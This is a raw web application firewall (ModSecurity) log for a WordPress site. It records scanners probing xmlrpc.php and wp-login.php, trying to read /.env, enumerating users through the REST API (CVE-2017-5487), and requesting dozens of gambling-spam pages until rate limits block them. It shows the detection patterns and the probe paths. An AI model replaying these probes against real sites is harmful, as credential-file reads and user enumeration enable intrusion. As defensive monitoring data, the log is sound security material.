[Sun Feb 08 09:46:44.956471 2026] [:error] [pid 24530:tid 24538] [client 67.205.159.76:44532] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfrBEazNRCs1GRWrh5QVgAAAMY"]
[Sun Feb 08 11:23:16.973448 2026] [:error] [pid 56906:tid 56920] [client 139.59.73.166:51541] [client 139.59.73.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.73.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgBpPxl3WX27-WXfDhV3QAAAQw"]
[Sun Feb 08 11:23:19.193570 2026] [:error] [pid 56906:tid 56910] [client 139.59.73.166:52223] [client 139.59.73.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.73.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgBp_xl3WX27-WXfDhV6gAAAQI"]
[Sun Feb 08 13:39:45.237911 2026] [:error] [pid 43900:tid 43926] [client 203.162.234.20:37824] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYghoeWrhnpm_Csk3klIpgAAAVc"]
[Sun Feb 08 13:40:06.522085 2026] [:error] [pid 24421:tid 24441] [client 64.110.107.179:39912] [client 64.110.107.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.110.107.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYghtqp7cTzhX5M1IP_aQgAAAAo"]
[Sun Feb 08 13:40:09.677640 2026] [:error] [pid 24421:tid 24450] [client 31.193.196.44:40228] [client 31.193.196.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.193.196.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYghuap7cTzhX5M1IP_aSQAAABM"]
[Sun Feb 08 13:40:12.822751 2026] [:error] [pid 56906:tid 56917] [client 129.226.82.190:56910] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYghvPxl3WX27-WXfDh8iwAAAQk"]
[Sun Feb 08 13:40:14.838095 2026] [:error] [pid 24530:tid 24541] [client 52.238.252.162:2368] [client 52.238.252.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.238.252.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYghvkazNRCs1GRWrh6kyAAAAMk"]
[Sun Feb 08 13:40:32.661716 2026] [:error] [pid 24421:tid 24436] [client 34.72.181.43:42710] [client 34.72.181.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.181.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYgh0Kp7cTzhX5M1IP_aZwAAAAU"]
[Sun Feb 08 13:40:42.833906 2026] [:error] [pid 24421:tid 24437] [client 103.205.208.252:55194] [client 103.205.208.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.208.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYgh2qp7cTzhX5M1IP_abwAAAAY"]
[Sun Feb 08 14:24:01.597451 2026] [:error] [pid 24421:tid 24452] [client 27.131.81.191:55148] [client 27.131.81.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.131.81.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYgsAap7cTzhX5M1IP_kVQAAABU"]
[Sun Feb 08 14:29:25.455191 2026] [:error] [pid 24423:tid 24488] [client 5.182.33.212:42158] [client 5.182.33.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.182.33.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgtRU3f9n1Y0TpV5YYkgAAAAIM"]
[Sun Feb 08 14:29:27.295599 2026] [:error] [pid 24423:tid 24506] [client 5.182.33.212:42158] [client 5.182.33.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.182.33.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgtR03f9n1Y0TpV5YYkgwAAAJU"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 14:42:05.470200 2026] [:error] [pid 24423:tid 24504] [client 68.183.91.198:56699] [client 68.183.91.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.91.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgwPU3f9n1Y0TpV5YYoKAAAAJM"]
[Sun Feb 08 14:42:07.574032 2026] [:error] [pid 24423:tid 24497] [client 68.183.91.198:56877] [client 68.183.91.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.91.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYgwP03f9n1Y0TpV5YYoLgAAAIw"]
[Sun Feb 08 15:04:21.168809 2026] [:error] [pid 43900:tid 43917] [client 43.167.157.80:43580] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYg1deWrhnpm_Csk3klgZgAAAU4"]
[Sun Feb 08 16:14:43.416370 2026] [:error] [pid 56906:tid 56923] [client 78.128.60.70:46052] [client 78.128.60.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.128.60.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhF8_xl3WX27-WXfDic5wAAAQ8"]
[Sun Feb 08 16:50:11.668842 2026] [:error] [pid 56906:tid 56924] [client 15.164.172.90:55306] [client 15.164.172.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.164.172.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYhOQ_xl3WX27-WXfDij2AAAARA"]
[Sun Feb 08 16:50:13.996396 2026] [:error] [pid 56906:tid 56925] [client 15.164.172.90:55306] [client 15.164.172.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.164.172.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYhORfxl3WX27-WXfDij3wAAARE"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 16:57:19.624696 2026] [:error] [pid 54609:tid 54617] [client 34.68.13.220:34598] [client 34.68.13.220] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aYhP76RRnRH9N52BW9J7-gAAAYY"]
[Sun Feb 08 17:31:06.120567 2026] [:error] [pid 58631:tid 58636] [client 34.135.55.33:63106] [client 34.135.55.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.55.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX2n-r9Xz6zi7KqKxJjgAAAcM"]
[Sun Feb 08 17:31:09.964804 2026] [:error] [pid 58631:tid 58634] [client 34.135.55.33:63106] [client 34.135.55.33] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYhX3X-r9Xz6zi7KqKxJlQAAAcE"]
[Sun Feb 08 17:31:11.636377 2026] [:error] [pid 58631:tid 58655] [client 34.135.55.33:63106] [client 34.135.55.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.55.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX33-r9Xz6zi7KqKxJmgAAAdY"]
[Sun Feb 08 17:31:13.560339 2026] [:error] [pid 24530:tid 24535] [client 34.135.55.33:62006] [client 34.135.55.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.55.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX4UazNRCs1GRWrh73LgAAAMM"]
[Sun Feb 08 17:31:15.578080 2026] [:error] [pid 24530:tid 24534] [client 34.135.55.33:57691] [client 34.135.55.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.55.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX40azNRCs1GRWrh73MQAAAMI"]
[Sun Feb 08 17:31:17.704411 2026] [:error] [pid 56906:tid 56911] [client 34.135.55.33:60578] [client 34.135.55.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.55.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX5fxl3WX27-WXfDirdgAAAQM"]
[Sun Feb 08 17:31:17.704629 2026] [:error] [pid 56906:tid 56911] [client 34.135.55.33:60578] [client 34.135.55.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.135.55.33, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYhX5fxl3WX27-WXfDirdgAAAQM"]
[Sun Feb 08 18:06:18.475339 2026] [:error] [pid 24530:tid 24549] [client 54.36.179.84:49196] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYhgGkazNRCs1GRWrh79swAAANE"]
[Sun Feb 08 18:06:20.342626 2026] [:error] [pid 24422:tid 24458] [client 54.36.179.84:37320] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYhgHCNNjcLoSCLKhTdkOAAAAEA"]
[Sun Feb 08 18:06:22.401604 2026] [:error] [pid 24530:tid 24536] [client 54.36.179.84:37324] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYhgHkazNRCs1GRWrh79ugAAAMQ"]
[Sun Feb 08 18:06:24.506706 2026] [:error] [pid 24530:tid 24542] [client 54.36.179.84:37340] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYhgIEazNRCs1GRWrh79uwAAAMo"]
[Sun Feb 08 18:06:26.376622 2026] [:error] [pid 54609:tid 54636] [client 54.36.179.84:39610] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYhgIqRRnRH9N52BW9KNigAAAZg"]
[Sun Feb 08 18:06:28.401910 2026] [:error] [pid 24421:tid 24442] [client 54.36.179.84:39612] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYhgJKp7cTzhX5M1IP8WyAAAAAs"]
[Sun Feb 08 18:06:30.282666 2026] [:error] [pid 24422:tid 24473] [client 54.36.179.84:39626] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYhgJiNNjcLoSCLKhTdkSQAAAE8"]
[Sun Feb 08 18:06:32.166003 2026] [:error] [pid 54609:tid 54636] [client 54.36.179.84:39640] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYhgKKRRnRH9N52BW9KNlQAAAZg"]
[Sun Feb 08 18:06:34.225549 2026] [:error] [pid 43900:tid 43911] [client 54.36.179.84:39656] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYhgKuWrhnpm_Csk3kmLHwAAAUg"]
[Sun Feb 08 18:06:36.276632 2026] [:error] [pid 43900:tid 43903] [client 54.36.179.84:45446] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYhgLOWrhnpm_Csk3kmLIQAAAUA"]
[Sun Feb 08 18:06:38.316247 2026] [:error] [pid 54609:tid 54616] [client 54.36.179.84:45454] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYhgLqRRnRH9N52BW9KNpAAAAYU"]
[Sun Feb 08 18:06:40.215036 2026] [:error] [pid 54609:tid 54611] [client 54.36.179.84:45460] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYhgMKRRnRH9N52BW9KNqgAAAYA"]
[Sun Feb 08 18:06:42.108399 2026] [:error] [pid 54609:tid 54631] [client 54.36.179.84:45472] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYhgMqRRnRH9N52BW9KNrAAAAZQ"]
[Sun Feb 08 18:06:44.015695 2026] [:error] [pid 58631:tid 58652] [client 54.36.179.84:45482] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYhgNH-r9Xz6zi7KqKxVBQAAAdM"]
[Sun Feb 08 18:06:45.912802 2026] [:error] [pid 24422:tid 24464] [client 54.36.179.84:45488] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYhgNSNNjcLoSCLKhTdkYgAAAEY"]
[Sun Feb 08 18:06:47.827027 2026] [:error] [pid 24422:tid 24478] [client 54.36.179.84:55768] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYhgNyNNjcLoSCLKhTdkZQAAAFQ"]
[Sun Feb 08 18:06:49.730769 2026] [:error] [pid 58631:tid 58644] [client 54.36.179.84:55780] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYhgOX-r9Xz6zi7KqKxVEgAAAcs"]
[Sun Feb 08 18:06:51.643850 2026] [:error] [pid 58631:tid 58639] [client 54.36.179.84:55792] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYhgO3-r9Xz6zi7KqKxVGgAAAcY"]
[Sun Feb 08 18:06:53.694399 2026] [:error] [pid 24421:tid 24433] [client 54.36.179.84:55802] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYhgPap7cTzhX5M1IP8W6AAAAAI"]
[Sun Feb 08 18:06:55.592241 2026] [:error] [pid 58631:tid 58649] [client 54.36.179.84:55812] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYhgP3-r9Xz6zi7KqKxVIgAAAdA"]
[Sun Feb 08 18:06:57.495628 2026] [:error] [pid 24530:tid 24551] [client 54.36.179.84:56902] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYhgQUazNRCs1GRWrh793AAAANM"]
[Sun Feb 08 18:06:59.432333 2026] [:error] [pid 54609:tid 54631] [client 54.36.179.84:56916] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYhgQ6RRnRH9N52BW9KNvgAAAZQ"]
[Sun Feb 08 18:07:01.538915 2026] [:error] [pid 54609:tid 54635] [client 54.36.179.84:56930] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYhgRaRRnRH9N52BW9KNwAAAAZc"]
[Sun Feb 08 18:07:03.623927 2026] [:error] [pid 24530:tid 24548] [client 54.36.179.84:56934] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYhgR0azNRCs1GRWrh794QAAANA"]
[Sun Feb 08 18:07:05.669112 2026] [:error] [pid 43900:tid 43906] [client 54.36.179.84:56938] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYhgSeWrhnpm_Csk3kmLOgAAAUM"]
[Sun Feb 08 18:07:07.551906 2026] [:error] [pid 54609:tid 54618] [client 54.36.179.84:35958] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYhgS6RRnRH9N52BW9KNzgAAAYc"]
[Sun Feb 08 18:07:09.569370 2026] [:error] [pid 24422:tid 24467] [client 54.36.179.84:35970] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYhgTSNNjcLoSCLKhTdkkwAAAEk"]
[Sun Feb 08 18:07:11.438889 2026] [:error] [pid 54609:tid 54623] [client 54.36.179.84:35976] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYhgT6RRnRH9N52BW9KN5QAAAYw"]
[Sun Feb 08 18:07:14.251716 2026] [:error] [pid 24423:tid 24496] [client 54.36.179.84:35988] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aYhgUk3f9n1Y0TpV5YZSnAAAAIs"]
